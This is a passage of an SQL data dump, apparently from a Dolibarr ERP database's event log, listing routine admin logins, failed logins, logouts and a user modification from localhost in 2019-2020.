Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(920,'2019-09-26 15:28:55','USER_LOGIN',1,'2019-09-26 17:28:55',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(921,'2019-09-27 14:51:19','USER_LOGIN_FAILED',1,'2019-09-27 16:51:19',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(922,'2019-09-27 14:51:49','USER_LOGIN_FAILED',1,'2019-09-27 16:51:49',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(923,'2019-09-27 14:51:55','USER_LOGIN_FAILED',1,'2019-09-27 16:51:55',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(924,'2019-09-27 14:52:22','USER_LOGIN_FAILED',1,'2019-09-27 16:52:22',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(925,'2019-09-27 14:52:41','USER_LOGIN',1,'2019-09-27 16:52:41',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(926,'2019-09-27 15:47:07','USER_LOGIN_FAILED',1,'2019-09-27 17:47:07',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(927,'2019-09-27 15:47:09','USER_LOGIN_FAILED',1,'2019-09-27 17:47:09',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(928,'2019-09-27 15:47:12','USER_LOGIN',1,'2019-09-27 17:47:12',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(929,'2019-09-27 16:39:57','USER_LOGIN',1,'2019-09-27 18:39:57',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(930,'2019-09-30 13:49:22','USER_LOGIN_FAILED',1,'2019-09-30 15:49:22',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(931,'2019-09-30 13:49:27','USER_LOGIN_FAILED',1,'2019-09-30 15:49:27',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(932,'2019-09-30 13:49:30','USER_LOGIN',1,'2019-09-30 15:49:30',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(933,'2019-09-30 15:49:05','USER_LOGIN_FAILED',1,'2019-09-30 17:49:05',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(934,'2019-09-30 15:49:08','USER_LOGIN',1,'2019-09-30 17:49:08',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(935,'2019-10-01 11:47:44','USER_LOGIN',1,'2019-10-01 13:47:44',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(936,'2019-10-01 13:24:03','USER_LOGIN',1,'2019-10-01 15:24:03',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(937,'2019-10-02 11:41:30','USER_LOGIN_FAILED',1,'2019-10-02 13:41:30',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(938,'2019-10-02 11:41:35','USER_LOGIN',1,'2019-10-02 13:41:35',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x899','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(939,'2019-10-02 17:01:42','USER_LOGIN_FAILED',1,'2019-10-02 19:01:42',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(940,'2019-10-02 17:01:44','USER_LOGIN',1,'2019-10-02 19:01:44',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(941,'2019-10-04 08:06:36','USER_LOGIN_FAILED',1,'2019-10-04 10:06:36',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(942,'2019-10-04 08:06:40','USER_LOGIN',1,'2019-10-04 10:06:40',18,'(UserLogged,ldestailleur) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(943,'2019-10-04 08:06:46','USER_LOGOUT',1,'2019-10-04 10:06:46',18,'(UserLogoff,ldestailleur)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(944,'2019-10-04 08:06:50','USER_LOGIN',1,'2019-10-04 10:06:50',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(945,'2019-10-04 10:28:53','USER_LOGIN_FAILED',1,'2019-10-04 12:28:53',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(946,'2019-10-04 10:31:06','USER_LOGIN',1,'2019-10-04 12:31:06',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1905x520','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(947,'2019-10-04 14:55:58','USER_LOGIN',1,'2019-10-04 16:55:58',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(948,'2019-10-04 16:45:36','USER_LOGIN_FAILED',1,'2019-10-04 18:45:36',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(949,'2019-10-04 16:45:40','USER_LOGIN',1,'2019-10-04 18:45:40',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x899','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(950,'2019-10-05 09:10:32','USER_LOGIN',1,'2019-10-05 11:10:32',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(951,'2019-10-06 09:02:10','USER_LOGIN_FAILED',1,'2019-10-06 11:02:10',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(952,'2019-10-06 09:02:12','USER_LOGIN',1,'2019-10-06 11:02:12',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1905x513','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(953,'2019-10-07 09:00:29','USER_LOGIN_FAILED',1,'2019-10-07 11:00:29',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(954,'2019-10-07 09:00:33','USER_LOGIN',1,'2019-10-07 11:00:33',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(955,'2019-10-07 15:05:26','USER_LOGIN_FAILED',1,'2019-10-07 17:05:26',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(956,'2019-10-07 15:05:29','USER_LOGIN_FAILED',1,'2019-10-07 17:05:29',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(957,'2019-10-08 09:57:04','USER_LOGIN_FAILED',1,'2019-10-08 11:57:04',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(958,'2019-10-08 09:57:07','USER_LOGIN',1,'2019-10-08 11:57:07',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x637','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(959,'2019-10-08 11:18:14','USER_LOGIN_FAILED',1,'2019-10-08 13:18:14',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(960,'2019-10-08 11:18:18','USER_LOGIN',1,'2019-10-08 13:18:18',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(961,'2019-10-08 13:29:24','USER_LOGIN',1,'2019-10-08 15:29:24',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(962,'2019-10-08 17:04:42','USER_LOGIN_FAILED',1,'2019-10-08 19:04:42',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(963,'2019-10-08 17:04:46','USER_LOGIN',1,'2019-10-08 19:04:46',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(964,'2019-10-08 18:37:06','USER_LOGIN_FAILED',1,'2019-10-08 20:37:06',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(965,'2019-10-08 18:38:29','USER_LOGIN_FAILED',1,'2019-10-08 20:38:29',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(966,'2019-10-08 18:38:32','USER_LOGIN',1,'2019-10-08 20:38:32',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(967,'2019-10-08 19:01:07','USER_MODIFY',1,'2019-10-08 21:01:07',12,'User pcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(968,'2019-11-28 15:09:03','USER_LOGOUT',1,'2019-11-28 19:09:03',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(969,'2019-11-28 15:09:18','USER_LOGIN_FAILED',1,'2019-11-28 19:09:18',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(970,'2019-11-28 15:09:22','USER_LOGIN',1,'2019-11-28 19:09:22',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(971,'2019-11-28 16:25:52','USER_LOGIN_FAILED',1,'2019-11-28 20:25:52',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(972,'2019-11-28 16:25:56','USER_LOGIN',1,'2019-11-28 20:25:56',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(973,'2019-11-29 08:43:22','USER_LOGIN_FAILED',1,'2019-11-29 12:43:22',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(974,'2019-11-29 08:43:24','USER_LOGIN',1,'2019-11-29 12:43:24',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(975,'2019-12-19 11:12:30','USER_LOGIN_FAILED',1,'2019-12-19 15:12:30',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(976,'2019-12-19 11:12:33','USER_LOGIN',1,'2019-12-19 15:12:33',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(977,'2019-12-20 09:38:10','USER_LOGIN_FAILED',1,'2019-12-20 13:38:10',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(978,'2019-12-20 09:38:13','USER_LOGIN',1,'2019-12-20 13:38:13',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(979,'2019-12-20 15:59:50','USER_LOGIN',1,'2019-12-20 19:59:50',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(980,'2019-12-21 13:05:49','USER_LOGIN_FAILED',1,'2019-12-21 17:05:49',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(981,'2019-12-21 13:05:52','USER_LOGIN',1,'2019-12-21 17:05:52',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1905x552','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(982,'2019-12-21 15:26:25','USER_LOGIN_FAILED',1,'2019-12-21 19:26:25',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(983,'2019-12-21 15:26:28','USER_LOGIN',1,'2019-12-21 19:26:28',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x980','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(984,'2019-12-21 15:27:00','USER_LOGOUT',1,'2019-12-21 19:27:00',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(985,'2019-12-21 15:27:05','USER_LOGIN',1,'2019-12-21 19:27:05',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x980','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(986,'2019-12-21 15:27:44','USER_LOGOUT',1,'2019-12-21 19:27:44',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(987,'2019-12-21 15:28:04','USER_LOGIN',1,'2019-12-21 19:28:04',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x980','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(988,'2019-12-22 11:59:41','USER_LOGIN',1,'2019-12-22 15:59:41',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x980','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(989,'2019-12-22 15:06:01','USER_LOGIN_FAILED',1,'2019-12-22 19:06:01',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(990,'2019-12-22 15:06:06','USER_LOGIN_FAILED',1,'2019-12-22 19:06:06',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(991,'2019-12-22 15:06:15','USER_LOGIN',1,'2019-12-22 19:06:15',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x980','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(992,'2019-12-22 18:43:21','USER_LOGIN',1,'2019-12-22 22:43:21',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x980','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(993,'2019-12-22 20:16:19','USER_LOGIN',1,'2019-12-23 00:16:19',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1905x584','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(994,'2019-12-23 10:05:11','USER_LOGIN_FAILED',1,'2019-12-23 14:05:11',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(995,'2019-12-23 10:05:14','USER_LOGIN',1,'2019-12-23 14:05:14',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(996,'2019-12-23 13:24:50','USER_LOGIN_FAILED',1,'2019-12-23 17:24:50',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(997,'2019-12-23 13:24:54','USER_LOGIN',1,'2019-12-23 17:24:54',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(998,'2019-12-25 21:37:28','USER_LOGIN_FAILED',1,'2019-12-26 01:37:28',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(999,'2019-12-25 21:37:30','USER_LOGIN',1,'2019-12-26 01:37:30',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1000,'2020-01-01 10:23:41','USER_LOGIN_FAILED',1,'2020-01-01 14:23:41',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1001,'2020-01-01 10:23:43','USER_LOGIN',1,'2020-01-01 14:23:43',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1002,'2020-01-01 19:52:00','USER_LOGIN_FAILED',1,'2020-01-01 23:52:00',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1003,'2020-01-01 19:52:07','USER_LOGIN',1,'2020-01-01 23:52:07',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1004,'2020-01-02 13:46:18','USER_LOGIN',1,'2020-01-02 17:46:18',12,'(UserLogged,admin) - 